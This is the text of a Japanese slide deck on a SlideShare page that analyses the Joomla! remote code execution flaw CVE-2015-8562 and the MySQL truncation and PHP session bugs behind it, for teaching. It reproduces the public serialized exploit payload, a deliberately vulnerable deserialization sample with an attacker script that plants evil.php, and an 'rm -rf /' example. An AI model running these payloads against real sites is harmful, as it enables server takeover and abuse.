Download free for 30 days
Sign in
Upload
Language (EN)
Support
Business
Mobile
Social Media
Marketing
Technology
Art & Photos
Career
Design
Education
Presentations & Public Speaking
Government & Nonprofit
Healthcare
Internet
Law
Leadership & Management
Automotive
Engineering
Software
Recruiting & HR
Retail
Sales
Services
Science
Small Business & Entrepreneurship
Food
Environment
Economy & Finance
Data & Analytics
Investor Relations
Sports
Spiritual
News & Politics
Travel
Self Improvement
Real Estate
Entertainment & Humor
Health & Medicine
Devices & Hardware
Lifestyle
Change Language
Language
English
Español
Português
Français
Deutsche
Cancel
Save
Submit search
EN
Uploaded by
Hiroshi Tokumaru
9,159 views
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Joomla! の脆弱性 CVE-2015-8562 について解説します
Technology
◦
Read more
20
Save
Share
Embed
Embed presentation
1
/ 56
2
/ 56
3
/ 56
Most read
4
/ 56
5
/ 56
6
/ 56
7
/ 56
8
/ 56
9
/ 56
10
/ 56
11
/ 56
12
/ 56
13
/ 56
14
/ 56
15
/ 56
16
/ 56
17
/ 56
18
/ 56
19
/ 56
Most read
20
/ 56
21
/ 56
22
/ 56
23
/ 56
24
/ 56
25
/ 56
26
/ 56
27
/ 56
28
/ 56
29
/ 56
30
/ 56
31
/ 56
32
/ 56
33
/ 56
34
/ 56
35
/ 56
36
/ 56
37
/ 56
38
/ 56
39
/ 56
40
/ 56
41
/ 56
42
/ 56
43
/ 56
44
/ 56
45
/ 56
46
/ 56
47
/ 56
48
/ 56
49
/ 56
50
/ 56
51
/ 56
52
/ 56
53
/ 56
54
/ 56
55
/ 56
56
/ 56
Most read
More Related Content
PDF
Introduction to OAuth2.0
by
Oracle Corporation
PPTX
[BurpSuiteJapan]Burp Suite導入・操作
by
Burp Suite Japan User Group
PDF
[DI05] Azure Event Hubs と Azure Stream Analytics で、”今を処理”する
by
de:code 2017
PPTX
スマホアプリのSSLサーバ証明書の検証不備について
by
Shunsuke Taniguchi
PPTX
My sqlで2億件のシリアルデータと格闘した話
by
saiken3110
PDF
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
by
Shin Ohno
PDF
Kubernetes Security with Calico and Open Policy Agent
by
CloudOps2005
PPTX
[BurpSuiteJapan]HTTP基礎入門
by
Burp Suite Japan User Group
Introduction to OAuth2.0
by
Oracle Corporation
[BurpSuiteJapan]Burp Suite導入・操作
by
Burp Suite Japan User Group
[DI05] Azure Event Hubs と Azure Stream Analytics で、”今を処理”する
by
de:code 2017
スマホアプリのSSLサーバ証明書の検証不備について
by
Shunsuke Taniguchi
My sqlで2億件のシリアルデータと格闘した話
by
saiken3110
Mercari JPのモノリスサービスをKubernetesに移行した話 PHP Conference 2022 9/24
by
Shin Ohno
Kubernetes Security with Calico and Open Policy Agent
by
CloudOps2005
[BurpSuiteJapan]HTTP基礎入門
by
Burp Suite Japan User Group
What's hot
PDF
ソーシャルゲームの為のデータベース設計
by
kaminashi
PPTX
Azure Artifactsを触ってみよう
by
DevTakas
PDF
ソーシャルゲームのためのデータベース設計
by
Yoshinori Matsunobu
PPTX
ウェブセキュリティのありがちな誤解を解説する
by
Hiroshi Tokumaru
PDF
Fluentdのお勧めシステム構成パターン
by
Kentaro Yoshida
PDF
SQL大量発行処理をいかにして高速化するか
by
Shogo Wakayama
PPTX
Pentesting Modern Web Apps: A Primer
by
Brian Hysell
PPTX
インサイドShell:.NETハッキング技術を応用したPowerShell可視性の向上 by 丹田 賢
by
CODE BLUE
PDF
SSRF workshop
by
Ivan Novikov
PPTX
Network miner 使ってみた
by
彰 村地
PDF
実践!OpenTelemetry と OSS を使った Observability 基盤の構築(CloudNative Days Tokyo 2022 発...
by
NTT DATA Technology & Innovation
PPTX
WTF is Penetration Testing v.2
by
Scott Sutherland
PPTX
え!?データがオンプレにあるけどPower BI で BI したいの?
by
Yugo Shimizu
PPTX
kubernetes初心者がKnative Lambda Runtime触ってみた(Kubernetes Novice Tokyo #13 発表資料)
by
NTT DATA Technology & Innovation
PPTX
【改訂版あり】クラウド・ネイティブ時代に最適なJavaベースのマイクロサービス・フレームワーク ~ Helidonの実力を見極めろ!
by
オラクルエンジニア通信
PDF
3分でわかるAzureでのService Principal
by
Toru Makabe
PDF
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
by
Yahoo!デベロッパーネットワーク
PDF
[C33] 24時間365日「本当に」止まらないデータベースシステムの導入 ~AlwaysOn+Qシステムで完全無停止運用~ by Nobuyuki Sa...
by
Insight Technology, Inc.
PDF
asm.jsとWebAssemblyって実際なんなの?
by
Yosuke Onoue
PPTX
Web App for Containers + MySQLでコンテナ対応したPHPアプリを作ろう!
by
Yoichi Kawasaki
ソーシャルゲームの為のデータベース設計
by
kaminashi
Azure Artifactsを触ってみよう
by
DevTakas
ソーシャルゲームのためのデータベース設計
by
Yoshinori Matsunobu
ウェブセキュリティのありがちな誤解を解説する
by
Hiroshi Tokumaru
Fluentdのお勧めシステム構成パターン
by
Kentaro Yoshida
SQL大量発行処理をいかにして高速化するか
by
Shogo Wakayama
Pentesting Modern Web Apps: A Primer
by
Brian Hysell
インサイドShell:.NETハッキング技術を応用したPowerShell可視性の向上 by 丹田 賢
by
CODE BLUE
SSRF workshop
by
Ivan Novikov
Network miner 使ってみた
by
彰 村地
実践!OpenTelemetry と OSS を使った Observability 基盤の構築(CloudNative Days Tokyo 2022 発...
by
NTT DATA Technology & Innovation
WTF is Penetration Testing v.2
by
Scott Sutherland
え!?データがオンプレにあるけどPower BI で BI したいの?
by
Yugo Shimizu
kubernetes初心者がKnative Lambda Runtime触ってみた(Kubernetes Novice Tokyo #13 発表資料)
by
NTT DATA Technology & Innovation
【改訂版あり】クラウド・ネイティブ時代に最適なJavaベースのマイクロサービス・フレームワーク ~ Helidonの実力を見極めろ!
by
オラクルエンジニア通信
3分でわかるAzureでのService Principal
by
Toru Makabe
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
by
Yahoo!デベロッパーネットワーク
[C33] 24時間365日「本当に」止まらないデータベースシステムの導入 ~AlwaysOn+Qシステムで完全無停止運用~ by Nobuyuki Sa...
by
Insight Technology, Inc.
asm.jsとWebAssemblyって実際なんなの?
by
Yosuke Onoue
Web App for Containers + MySQLでコンテナ対応したPHPアプリを作ろう!
by
Yoichi Kawasaki
Similar to 脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
PPTX
安全なPHPアプリケーションの作り方2014
by
Hiroshi Tokumaru
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
PDF
PHPでセキュリティを真面目に考える
by
Takuya Sato
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
by
Hiroshi Tokumaru
PPTX
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
PPTX
introduction to unsafe deserialization part1
by
Hiroshi Tokumaru
PDF
安全なプログラムの作り方
by
Kazuhiro Nishiyama
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
by
Hiroshi Tokumaru
PDF
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
by
CODE BLUE
PPTX
PHP Object Injection入門
by
Yu Iwama
PPTX
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
PPTX
セキュアコーディング方法論再構築の試み
by
Hiroshi Tokumaru
PDF
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
by
tobaru_yuta
ODP
ライブコーディングとデモで理解するWebセキュリティの基礎
by
Takahisa Kishiya
PPTX
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
PDF
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
PDF
徳丸本ができるまで
by
Hiroshi Tokumaru
PDF
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2014
by
Hiroshi Tokumaru
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
PHPでセキュリティを真面目に考える
by
Takuya Sato
徳丸本に載っていないWebアプリケーションセキュリティ
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
introduction to unsafe deserialization part1
by
Hiroshi Tokumaru
安全なプログラムの作り方
by
Kazuhiro Nishiyama
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
by
Hiroshi Tokumaru
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
by
CODE BLUE
PHP Object Injection入門
by
Yu Iwama
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
セキュアコーディング方法論再構築の試み
by
Hiroshi Tokumaru
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
by
tobaru_yuta
ライブコーディングとデモで理解するWebセキュリティの基礎
by
Takahisa Kishiya
Railsエンジニアのためのウェブセキュリティ入門
by
Hiroshi Tokumaru
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
徳丸本ができるまで
by
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2013
by
Hiroshi Tokumaru
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
More from Hiroshi Tokumaru
PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
by
Hiroshi Tokumaru
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
by
Hiroshi Tokumaru
PPT
SQLインジェクション再考
by
Hiroshi Tokumaru
PPTX
徳丸本VMに脆弱なWordPressを導入する
by
Hiroshi Tokumaru
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
by
Hiroshi Tokumaru
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
by
Hiroshi Tokumaru
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
by
Hiroshi Tokumaru
PPTX
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
PPTX
秀スクリプトの話
by
Hiroshi Tokumaru
PPTX
ウェブセキュリティの常識
by
Hiroshi Tokumaru
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
PDF
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
PPTX
ウェブセキュリティの最近の話題早分かり
by
Hiroshi Tokumaru
PPTX
セキュリティの都市伝説を暴く
by
Hiroshi Tokumaru
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
by
Hiroshi Tokumaru
PPTX
Phpcon2015
by
Hiroshi Tokumaru
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
PDF
Rails SQL Injection Examplesの紹介
by
Hiroshi Tokumaru
PPTX
文字コードの脆弱性はこの3年間でどの程度対策されたか?
by
Hiroshi Tokumaru
SPAセキュリティ入門~PHP Conference Japan 2021
by
Hiroshi Tokumaru
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
by
Hiroshi Tokumaru
SQLインジェクション再考
by
Hiroshi Tokumaru
徳丸本VMに脆弱なWordPressを導入する
by
Hiroshi Tokumaru
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
by
Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門
by
Hiroshi Tokumaru
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
by
Hiroshi Tokumaru
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
by
Hiroshi Tokumaru
安全なWebアプリケーションの作り方2018
by
Hiroshi Tokumaru
秀スクリプトの話
by
Hiroshi Tokumaru
ウェブセキュリティの常識
by
Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
by
Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門
by
Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かり
by
Hiroshi Tokumaru
セキュリティの都市伝説を暴く
by
Hiroshi Tokumaru
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
by
Hiroshi Tokumaru
Phpcon2015
by
Hiroshi Tokumaru
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
by
Hiroshi Tokumaru
Rails SQL Injection Examplesの紹介
by
Hiroshi Tokumaru
文字コードの脆弱性はこの3年間でどの程度対策されたか?
by
Hiroshi Tokumaru
Recently uploaded
PPTX
楽々ナレッジベース「楽ナレ」3種比較 - Dify / AWS S3 Vector / Google File Search Tool
by
Kiyohide Yamaguchi
PDF
エンジニアが選ぶべきAIエディタ & Antigravity 活用例@ウェビナー「触ってみてどうだった?Google Antigravity 既存IDEと...
by
NorihiroSunada
PDF
20251210_MultiDevinForEnterprise on Devin 1st Anniv Meetup
by
Masaki Yamakawa
PDF
流行りに乗っかるClaris FileMaker 〜AI関連機能の紹介〜 by 合同会社イボルブ
by
Evolve LLC.
PDF
Machine Tests Benchmark Suite. Explain github.com/alexziskind1/machine_tests #1
by
Tasuku Takahashi
PDF
Machine Tests Benchmark Suite. Explain github.com/alexziskind1/machine_tests #2
by
Tasuku Takahashi
楽々ナレッジベース「楽ナレ」3種比較 - Dify / AWS S3 Vector / Google File Search Tool
by
Kiyohide Yamaguchi
エンジニアが選ぶべきAIエディタ & Antigravity 活用例@ウェビナー「触ってみてどうだった?Google Antigravity 既存IDEと...
by
NorihiroSunada
20251210_MultiDevinForEnterprise on Devin 1st Anniv Meetup
by
Masaki Yamakawa
流行りに乗っかるClaris FileMaker 〜AI関連機能の紹介〜 by 合同会社イボルブ
by
Evolve LLC.
Machine Tests Benchmark Suite. Explain github.com/alexziskind1/machine_tests #1
by
Tasuku Takahashi
Machine Tests Benchmark Suite. Explain github.com/alexziskind1/machine_tests #2
by
Tasuku Takahashi
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
1.
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに HASHコンサルティング株式会社 徳丸 浩
2.
徳丸浩の自己紹介 • 経歴 – 1985年
京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月) 「徳丸浩のWebセキュリティ教室 」(2015年10月) – 技術士(情報工学部門) 2
3.
Joomla! のコード実行脆弱性(CVE-2015-8562) 3
4.
「Joomla!」脆弱性を突かれスパム送信の踏み台に - 藤沢市関連サイト 「えのしま・ふじさわポータルサイト(えのぽ)」が不正アクセスを受け、スパムメール送信の踏み 台に悪用されていたことがわかった。 同サイトは、藤沢市が開設し、その後NPO法人である湘南ふじさわシニアネットが藤沢市と協働運営 の協定のもと運営する地域のポータルサイト。藤沢市によれば、同サイトで利用するコンテンツマ ネージメントシステム(CMS)の「Joomla!」とPHPの既知の脆弱性が突かれ、不正アクセスを受け たという。 2015年12月24日にサーバの負荷が急増したことからサーバを停止。1月12日より同市が調査を行って いたが、今回の不正アクセスにより、同サーバより約60万件のスパムメールが送信されていたことが 判明した。 同サイトでは、「健康づくり応援団」「おいしいふじさわ産」「いきいきシニアライフ」「自治会・ 町内会ページ」などのコンテンツも運営しているが、いずれも個人情報を扱っておらず、情報漏洩は ないと説明している。 同サイトは現在も停止しており、セキュリティ対策など再発防止策を講じたうえで再開する予定。 4http://www.security-next.com/066075
より引用
5.
Joomlaに深刻な脆弱性、パッチ公開2日前から攻撃横行 セキュリティ企業によると、Joomlaの脆弱性修正パッチが公開される2日前から、この脆弱性を突く ゼロデイ攻撃の発生が確認されていたという。 オープンソースのコンテンツ管理システム(CMS)「Joomla」の更新版が12月14 日(米国時間)に公開され、深刻な脆弱性が修正された。セキュリティ企業のSucuri は、パッチが公開される2日前からこの脆弱性を突くゼロデイ攻撃の発生が確認され ていたとして、Joomlaを使っているWebサイトでは直ちにパッチ適用やログ確認な どの対応に乗り出すよう促している。 Joomlaの脆弱性はバージョン1.5.0~3.4.5に存在していて、悪用されればリモート でコードを実行される恐れがある。更新版のバージョン3.4.6でこの問題が修正され た。 Sucuriのブログによれば、この脆弱性は簡単に悪用することができるといい、12月 12日の時点で既に、この問題を悪用した攻撃コードが出回っていたという。 同月13日から14日にかけて攻撃はさらに拡大。Sucuriが運営するWebサイトやハ ニーポットがことごとく攻撃されたといい、「他のあらゆるJoomlaサイトも恐らく 標的になっている」と同社は推測する。 5http://www.itmedia.co.jp/enterprise/articles/1512/15/news048.html より引用
6.
ゼロデイ攻撃ですと? 6
7.
早く調べなくては(使命感) …世界の平和に貢献しなくては 7
8.
早く調べなくては(じゃじゃ馬根性) …ブログ書きたい 8
9.
脆弱性情報はどこに? 9
10.
解説記事から https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html より引用 10
11.
コードの差分から diff -r -u
joomla-3.4.5/libraries/joomla/session/session.php joomla-3.4.6/libraries/joomla/session/session.php --- joomla-3.4.5/libraries/joomla/session/session.php 2015-10-21 17:48:16.000000000 +0900 +++ joomla-3.4.6/libraries/joomla/session/session.php 2015-12-14 14:42:12.000000000 +0900 - - // Check for clients browser - if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT'])) - { - $browser = $this->get('session.client.browser'); - - if ($browser === null) - { - $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']); - } - elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser) - { - // @todo remove code: $this->_state = 'error'; - // @todo remove code: return false; - } + // Record proxy forwarded for in the session in case we need it later + if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP) !== false) + { + $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']); } - return true; } 11
12.
PoCから • User-Agentに下記を設定してJoomla!サイトに2回アクセスす るだけ。かんたん! }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory": 0:{}s:21:"000disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"s anitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:239:"eval(chr(115). chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(11 1).chr(117).chr(99).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(4 7).chr(102).chr(120).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19: "cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20: "JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"000connection";b:1;}𠮷 野家 12
13.
𠮷野家? ※ 出回っているPoCで使われているのは別の文字です 13
14.
攻撃の流れ(Sucuriの解説より) • Joomla! がUser-Agentをセッション変数に保存するので、 セッション形式のデータ(文字列)をUser-Agent経由でセッ トする •
その際、「𠮷野家」がトリガーとなって、セッションデータ の切り詰めが起きる • 切り詰めが起きると、文字列がオブジェクトに化ける • 生成されたオブジェクトにより任意のコード実行が可能にな る 14
15.
PoCには謎が多い 15
16.
Joomla!に対するPoCの謎 • なぜセッション変数に入れた文字列が「切り詰め」されるの か? • 切り詰めが起きると、なぜ文字列がオブジェクトに「化け る」のか •
オブジェクトはデータであり、メソッドが再定義できるわけ ではないのに、なぜ「任意スクリプト実行」ができるのか? • PoCに出てくる 000 は何? • PoCのココは何をしている? …… ;JFactory::getConfig(); …… 16
17.
なぜセッション変数に入れた文字列が「切り 詰め」されるのか? 17
18.
MySQLの “仕様” だった 18
19.
MySQLの仕様確認 $ mysql test
-u root -p mysql> CREATE TABLE test (test varchar(256)) DEFAULT CHARSET=utf8; mysql> INSERT INTO test VALUES ('今日のお昼は吉野家にするよ'); mysql> INSERT INTO test VALUES ('今日のお昼は𠮷野家にするよ'); mysql> SELECT * FROM test; +-----------------------------------------+ | test | +-----------------------------------------+ | 今日のお昼は吉野家にするよ | | 今日のお昼は | +-----------------------------------------+ 2 rows in set (0.00 sec) 19 𠮷野家から先がなくなる UTF-8の4バイト文字を登録しようとすると、そ の文字を含め、それ以降が切り詰められる!!
20.
切り詰めが起きると、なぜ文字列がオブジェクト に「化ける」のか 20
21.
PHPの脆弱性CVE-2015-6835 詳しくは http://blog.tokumaru.org/2015/12/joomla-zero-day-attack-caused-by-php.html 参照 21
22.
CVE-2015-6835 22http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-007161.html
23.
PoC <?php class Obj1 { public
$pub = 1; } session_start(); // User-Agentをセッション変数にセット $_SESSION[‘example’] = ‘user_agent|O:4:“Obj1”:1:{s:3:“pub”;i:1;}𠮷野家'; $sess_data = session_encode(); // セッションデータを取り出し var_dump($sess_data); // 表示 $sess_data = str_replace(‘𠮷野家’, ‘’, $sess_data); // 「𠮷野家」を切り詰め var_dump($sess_data); // 表示 $_SESSION = array(); // 一旦セッションを空に session_decode($sess_data); // 切り詰めたセッションデータを戻す var_dump($_SESSION); // セッション変数を表示 23
24.
PoC # 切り詰め前 string(66) "example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}𠮷野家";" # 切り詰め後 string(56)
"example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}";" # セッション変数のダンプ array(2) { ["example"]=> NULL ["50:"user_agent"]=> object(Obj1)#1 (1) { ["pub"]=> int(1) } } # Ubuntu12.04 パッチのまったく当たっていないPHP-5.3.10 にて実行 24 文字列の代わりにオブジェクトが出現
25.
CVE-2015-6835の対策 • PHPの標準セッションストレージだと影響はない • MySQLをセッションストレージにする場合は、セッションデータをさらにbase64 エンコード等する •
PHPバージョンを上げる(サポート中の最新に) – 5.4.45 以降の 5.4.x (サポート終了) – 5.5.29 以降の 5.5.x (サポート終了) – 5.6.13 以降の 5.6.x ○ – 7.0.0 以降の 7.0.x ○ • Linuxディストリビューションの対応 – CentOS 5,6,7ともパッチ提供なし – Ubuntu 12.04、14.04ともパッチ提供済み、1604は元々問題なし – Debian/GNU Linux Debian6はパッチ未提供、7以降は提供済み – Fedora Fedora21以降でパッチ提供済み(20はサポート終了でパッチ提供なし) 25
26.
オブジェクトはデータであり、メソッドが再定義できる わけではないのに、なぜ「任意スクリプト実行」ができ るのか? 26
27.
オブジェクトインジェクション攻撃入門 詳しくは http://blog.tokumaru.org/2015/07/phpunserialize.html 参照 27
28.
デシリアライズによるコード実行脆弱性は意外に多い • Apache Commonsのcollectionsの問題にまつわる一連の脆弱性 –
Weblogic: CVE-2015-4852 – WebSphere: CVE-2015-7450 – Jenkins: CVE-2015-8103 – Groovy: CVE-2015-3253 • Ruby On Rails XML Processor YAML Deserialization Code Execution Vulnerability(CVE-2013-0156) • FuelPHP において任意のコードが実行される脆弱性(CVE-2014-1999) • CakePHP の _validatePost 関数における内部 Cake キャッシュを変更さ れる脆弱性(CVE-2010-4335) • Joomla!の任意コードが実行される問題(CVE-2015-8562)もこの系統 Copyright © 2016 HASH Consulting Corp. 28
29.
シリアライズ・デシリアライズとは? • シリアライズ: オブジェクトや配列など任意の型のデータを文 字列形式に変換すること •
デシリアライズ: シリアライズ文字列を元のデータに戻すこと • PHPでは、それぞれ、serialize() unserialize()関数により可能 29
30.
脆弱なサンプル <?php require_once 'Logger.php'; //
ログ出力クラス if (empty($_COOKIE['status'])) die('クッキーが空です'); $status = unserialize($_COOKIE['status']); // デシリアライズ // 以下バリデーション if (! is_array($status)) die('statusは配列が必要です'); // 以下表示 echo 'height : ' . htmlspecialchars($status['height']) . '<br>'; echo 'weight : ' . htmlspecialchars($status['weight']) . '<br>'; echo 'sight : ' . htmlspecialchars($status['sight']) . '<br>'; Copyright © 2016 HASH Consulting Corp. 30
31.
脆弱なサンプル(続き) <?php // Logger.php class
Logger { const LOGDIR = '/tmp/'; // ログ出力ディレクトリ private $filename = ''; // ログファイル名 private $log = ''; // ログバッファ public function __construct($filename) { // ファイル名を指定 if (! preg_match('/A[a-z0-9.]+z/i', $filename)) { throw new Exception(‘Logger: ファイル名は英数字とドットで…'); } $this->filename = $filename; // ファイル名 $this->log = ''; // ログバッファ } public function add($log) { // ログ出力 $this->log .= $log; // バッファに追加するだけ } } Copyright © 2016 HASH Consulting Corp. 31
32.
脆弱なサンプル(続き) public function __destruct()
{ // デストラクタではバッファの中身をファイルに書き出し $path = self::LOGDIR . $this->filename; // ファイル名の組み立て $fp = fopen($path, 'a'); if ($fp === false) { die('Logger: ファイルがオープンできません' . htmlspecialchars($path)); } if (! flock($fp, LOCK_EX)) { // 排他ロックする die('Logger: ファイルのロックに失敗しました'); } fwrite($fp, $this->log); // ログの書き出し fflush($fp); // フラッシュしてからロック解除 flock($fp, LOCK_UN); fclose($fp); } } Copyright © 2016 HASH Consulting Corp. 32
33.
攻撃の準備 // 攻撃用スクリプト…攻撃者が使用 <?php require 'Logger.php';
// ファイル名のバリデーションは無効に $x = new Logger('../../../var/www/html/evil.php'); $x->add("<?php phpinfo(); ?>n"); setcookie('status', serialize($x)); 以下のクッキーを生成する Set-Cookie: status=O:6:"Logger":2:{s:16:"[NUL]Logger[NUL]filename"; s:30:"../../../var/www/html/evil.php";s:11:"[NUL]Logger[NUL]log";s:2 0:"<?php phpinfo(); ?> Copyright © 2016 HASH Consulting Corp. 33
34.
攻撃 前記のクッキーをブラウザにセットしてウェブアクセスすると、Loggerクラスのイ ンスタンスが作られる object(Logger)#1 (2) { ["filename":protected]=>
string(33) "../../../../var/www/html/evil.php" ["log":protected]=> string(19) "<?php phpinfo(); ?>" } このオブジェクトが破棄されるタイミングで、デストラタクタにより、ログファイ ル/tmp/../../../var/www/html/evil.php (すなわち、 /var/www/html/evil.php)に下記の内容がログとして出力される <?php phpinfo(); ?> Copyright © 2016 HASH Consulting Corp. 34
35.
Joomla!の場合、任意スクリプト実行に悪用でき るクラスはあるか? 35
36.
任意スクリプト実行に悪用できそうなパターンを探す • 下記のパターンが Joomla!
に含まれないか? • ドキュメントルート下に .php等の拡張子で任意の文字列が書き込みで きる(先程の例) • eval($this->foo); がある – fooプロパティにPHPスクリプトをセットする • system($this->foo); がある – fooプロパティにシェルコマンドをセットする • call_user_func($this->foo, $this->bar); がある – fooプロパティに関数名、barプロパティに関数の引数をセットする 例: $this->foo = ‘system’; $this->bar = ‘rm –rf /’; 36
37.
call_user_func($this->foo, $this->bar);ならある class SimplePie {
// 中略 function init() { // 中略 if ($this->feed_url !== null || $this->raw_data !== null) { if ($this->feed_url !== null) { if ($this->cache && $parsed_feed_url['scheme'] !== '') { $cache = call_user_func(array($this->cache_class, 'create'), $this- >cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'); // 後略 37 call_user_func( $this->cache_name_function, $this->feed_url) これらの if が全部通 るようにプロパティを 設定する必要あり
38.
PoCを見ると… 38 O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed _url";s:239:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr (40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104).chr(32).chr(47).chr (116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(39).chr(41).chr(59));JF actory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cach e";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}} object(SimplePie) { 'feed_url' =>
'eval(chr(115).chr(121). 略 .chr(59));JFactory::getConfig();exit ‘, 'cache_name_function' => 'assert‘ } assert を使って、evalを実行している ※evalは関数ではないので、call_user_funcでは直接呼び出せない
39.
だがどうやって SimplePie::init()を呼び出す か? 39
40.
JDatabaseDriverMysqli のデストラクタを使う class JDatabaseDriverMysqli
extends JDatabaseDriver { public function __destruct() // デストラクタ { $this->disconnect(); } public function disconnect() { // Close the connection. if ($this->connection) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysqli_close($this->connection); } $this->connection = null; } 40 $h が 0 => SimplePieオブジェクト 1 => ‘init’ となるように設定する
41.
PoCを確認…確かにそうなっている object(JDatabaseDriverMysqli) { 'disconnectHandlers' => array
( array ( 0 => object(SimplePie) { 'sanitize' => JDatabaseDriverMysql::__set_state(array( )), 'feed_url' => 'eval(chr(115). 略 .chr(59));JFactory::getConfig();exit', 'cache_name_function' => 'assert', 'cache' => true, 'cache_class' => JDatabaseDriverMysql(), }, 1 => 'init', ), ), // 以下略 41
42.
PoCに出てくる 000 は何? 42
43.
000 の謎 class JSessionStorageDatabase
extends JSessionStorage { public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '000', $data); // シリアライズされたデータ中に [nul]*[nul] が含まれる // (protectedなメンバ)ので、それを 000 に変換している // 文字列中に 000 が含まれると、それも [nul]*[nul]に変換されそう… 43
44.
